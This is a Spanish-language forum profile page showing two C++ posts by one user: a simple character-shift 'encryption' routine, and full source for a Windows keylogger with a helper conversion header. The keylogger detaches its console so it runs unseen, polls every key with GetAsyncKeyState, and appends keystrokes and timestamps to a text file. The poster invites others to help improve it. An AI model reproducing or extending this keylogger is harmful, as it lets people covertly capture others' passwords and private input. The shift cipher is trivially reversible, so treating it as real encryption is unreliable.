Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Antabla

#1
Programación C/C++ / Que piensas al respecto de esto
15 Septiembre 2016, 04:43 AM
Codigo de encriptacion ascii que opinan,que me pueden decir acerca de el.

#include <iostream>

using namespace std;

string EncryptAnscii(int key,string cadena);
string DesencryptAnscii(int key,string code);

int main(){

    string cadena ="elhacker.net";
    string code = EncryptAnscii(10,cadena);
    cout << "code--> "<<code << endl;
    cout << "decode-->"<<DesencryptAnscii(10,code);

    return 0;
}

string EncryptAnscii(int key,string cadena){
    string code = "";

    for(int i = 0;i<cadena.length();i++){
        if(cadena[i] == char(164)){
            code+=char(253);
        }else{
            if(cadena[i] == char(165)){
                code+=char(252);
            }else{
                if(int((cadena[i])+key-i) > 126){
                    code += char(((int(cadena[i])+key-i)-126)+32);
                }else{
                    code+=char(int(cadena[i])+key-i);
                }
            }

        }

    }

    return code;
}

string DesencryptAnscii(int key,string code){
    string cadena = "";

    for(int i = 0;i<code.length();i++){
        if(code[i] == char(253)){
            cadena+=char(164);
        }else{
            if(code[i] == char(252) ){
                cadena+=char(165);
            }else{
                if(int((code[i])-key+i) < 32){
                    cadena += char(126-(32+(int(code[i])-key+i)));
                }else{
                    cadena+=char(int(code[i])-key+i);
                }
            }

        }

    }

    return cadena;
}
#2
Programación C/C++ / Keylogger en c++
27 Junio 2016, 01:49 AM
:rolleyes: Buenas aqui dejo un codigo que estuve haciendo en mi tiempo libre,me gustaria saber si alguien le gustaria colaborar para mejorarlo, optimizarlo esta hecho con fines de aprendizaje, pero me gustaria saber si puede mejorarse.Lo hice yo mismo guiandome de la web.


Código (cpp) [Seleccionar]
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctime>
#include "Conver.h"

using namespace std;

bool Bloq = false;
void hora();
void arch(string p);
void key();
int cont = 0;

int main ()
{
    /* Ocultar la consola */
//HWND hWnd = GetConsoleWindow();
/* 0 = oculta ; 1 = visible */
//ShowWindow( hWnd, 0);

FreeConsole();
hora();
while(true)
{
    key();
}



return 0;
}

void hora ()
{
   Conver co;
   string H = "";
   string Fecha = "";
   time_t now;
   struct tm nowlocal;

   now = time(NULL);

   nowlocal=*localtime(&now);

   H = co.Num_str(nowlocal.tm_hour) + ":" + co.Num_str(nowlocal.tm_min) + ":" + co.Num_str(nowlocal.tm_sec);
   Fecha = co.Num_str(nowlocal.tm_mday) + "/" + co.Num_str(nowlocal.tm_mon) + "/" + co.Num_str(nowlocal.tm_year+1900);

   arch("\n" + H + " || " + Fecha + "\n");
}

void arch(string p)
{
   FILE*KeyL;
   KeyL = fopen("K3yl0g.txt","a");
   fputs(p.c_str(),KeyL);
   fclose(KeyL);
}

void key()
{
   string p;

   for(int c = 0;c<=255;c++)
   {


       if(GetAsyncKeyState(c) == -32767)
       {

                           switch(c)
                           {
                           case 20:
                               if(Bloq == true)
                               {
                               Bloq = false;
                               }else
                                   {
                                   Bloq = true;
                                   }
                                   //cont++;
                               break;

                               case 16:
                               p = "[Shift]";
                               arch(p);
                               //cont++;
                               break;

                               case 17:
                               p = "[CTRL]";
                               arch(p);
                               //cont++;
                               break;

                               case 18:
                               p = "[ALT]";
                               arch(p);
                               //cont++;
                               break;

                               case 9:
                               p = "\t";
                               arch(p);
                               //cont++;
                               break;

                               case 8:
                               p = "[DEL]";
                               arch(p);
                               //cont++;
                               break;

                               case 187: case 107 :
                               p ="+";
                               arch(p);
                               //cont++;
                               break;


                               case 188:
                               p = ",";
                               arch(p);
                               //cont++;
                               break;

                               case 189: case 109:
                               p = "-";
                               arch(p);
                               //cont++;
                               break;

                               case 190: case 110:
                               p = ".";
                               arch(p);
                               //cont++;
                               break;

                               case 192:
                               p = char(164);
                               arch(p);
                               //cont++;
                               break;

                               case 91:
                               p = "[Win]";
                               arch(p);
                               //cont++;
                               break;

                               default:
                                   if(c == 32 || c == 13)
                                   {
                                       cont++;
                                   }

                                    if(c == 32 || c == 13 || (c>= 48 && c<=105))
                                     {
                                       if(Bloq == false)
                                       {
                                       p = tolower(char(c));
                                       }else
                                           {
                                           p = char(c);
                                           }
                                           arch(p);
                                    }

                                   break;

                           }
                       if(cont == 80)
                       {
                           cont = 0;
                           hora();

                       }

                       c = 0;
               }

}
}



Pense en omitir algunas teclas para que lo que se guarde en el .txt se vea mas limpio, y lo de la hora queria guardar la hora y la fecha cierto tanto tiempo,alguien tiene ideas para mejorarlo.  >:D




Se me olvidaba esto es Conver.h tambien le hice yo.

Código (cpp) [Seleccionar]

#include <map>
#include <iostream>

using namespace std;

class Conver
{
   public:
       string Num_str(int i);
       int Str_num(string i);
       int Char_num(char i);
string Char_str(char i);
char Str_char(string i);
bool Isint(char n);
   protected:

   private:
};

bool Conver::Isint(char n)
{
   string N = "-0123456789";

   for(int i = 0;i<N.length();i++)
   {
       if(n == N[i])
       {
           return true;
       }
   }

   return false;

}

char Conver::Str_char(string i)
{
map<string, char> conver;

conver["+"] = '+';
conver["-"] = '-';
conver["*"] = '*';
conver["/"] = '/';
conver["^"] = '^';

return conver[i];
}

string Conver::Char_str(char i)
{
   map<char, string> conver;

   conver['0'] = "0";
   conver['1'] = "1";
   conver['2'] = "2";
   conver['3'] = "3";
   conver['4'] = "4";
   conver['5'] = "5";
   conver['6'] = "6";
   conver['7'] = "7";
   conver['8'] = "8";
   conver['9'] = "9";
   conver['+'] = "+";
   conver['-'] = "-";
   conver['*'] = "*";
   conver['/'] = "/";
   conver['('] = "(";
   conver[')'] = ")";
   conver['^'] = "^";
   conver['x'] = "x";
   conver['y'] = "Y";

   return conver[i];
}

int Conver::Char_num(char i)
{
   map<char, int> conver;

   conver['0'] = 0;
   conver['1'] = 1;
   conver['2'] = 2;
   conver['3'] = 3;
   conver['4'] = 4;
   conver['5'] = 5;
   conver['6'] = 6;
   conver['7'] = 7;
   conver['8'] = 8;
   conver['9'] = 9;

   return conver[i];
}

///LISTO---------------------------------------
string Conver::Num_str(int i)
{
   bool t = true;
if(i < 0)
{
   i = i*(-1);
   t = false;
}
   map<int, string> conver;

   conver[0] = "0";
   conver[1] = "1";
   conver[2] = "2";
   conver[3] = "3";
   conver[4] = "4";
   conver[5] = "5";
   conver[6] = "6";
   conver[7] = "7";
   conver[8] = "8";
   conver[9] = "9";

   if (i>=0 && i <=9)
       {
            if(t)
            {
                return (conver[i]);
            }else
               {
                   return ("-"+conver[i]);
               }
       }
       else
         {
             int aux;
             if (i>=10 && i<=99 )
             {
                 aux = 10;
             }
             else
             {
                 if(i>=100 && i<=999)
                 {
                     aux = 100;
                 }
                 else
                 {
                     if(i>=1000 && i<=9999)
                     {
                         aux = 1000;
                     }
                     else
                     {
                         if (i>=10000 && i<=99999)
                         {
                             aux = 10000;
                         }
                         else
                           {
                               if(i>=100000 && i<=999999)
                               {
                                   aux = 100000;
                               }
                               else
                               {
                                   if(i>=1000000 && i<=9999999)
                                   {
                                       aux = 1000000;
                                   }
                                   else
                                   {
                                       if(i>=10000000 && i<=99999999)
                                       {
                                           aux = 10000000;
                                       }
                                       else
                                       {
                                           if(i>=100000000  && i<=999999999)
                                           {
                                               aux = 100000000;
                                           }
                                           else
                                           {
                                               aux = 1000000000;
                                           }
                                       }
                                   }
                               }
                           }
                     }
                 }
             }

             string receptot = "";
       for (aux=aux;aux>=1;aux=aux/10)
       {
           receptot += Num_str(i/aux);
           i = i%aux;
       }

       if(t)
       {
       return (receptot);
       }else
           {
               return("-"+receptot);
           }
         }


}
///LISTO_______________________________________
int Conver::Str_num(string i)
{

   map<string, int> conver;


   conver["0"] = 0;
   conver["1"] = 1;
   conver["2"] = 2;
   conver["3"] = 3;
   conver["4"] = 4;
   conver["5"] = 5;
   conver["6"] = 6;
   conver["7"] = 7;
   conver["8"] = 8;
   conver["9"] = 9;


   if (i.length() <=1)
   {
   return(conver[i]);
   }
   else{

           int aux=1;
           int acumulador = 0;

           for (int j = 1;j<=i.length();j++)
           {
               aux*=10;
           }

           for (int j = 0;j<=i.length()-1;j++)
           {
               aux = aux/10;

               acumulador +=Char_num(i[j])*aux;

           }
           if (i[0] == '-')
           {
               return -(acumulador);
           }else
               {
               return acumulador;
               }


   }

}

///--------------------------------------------



Mod: no hacer doble post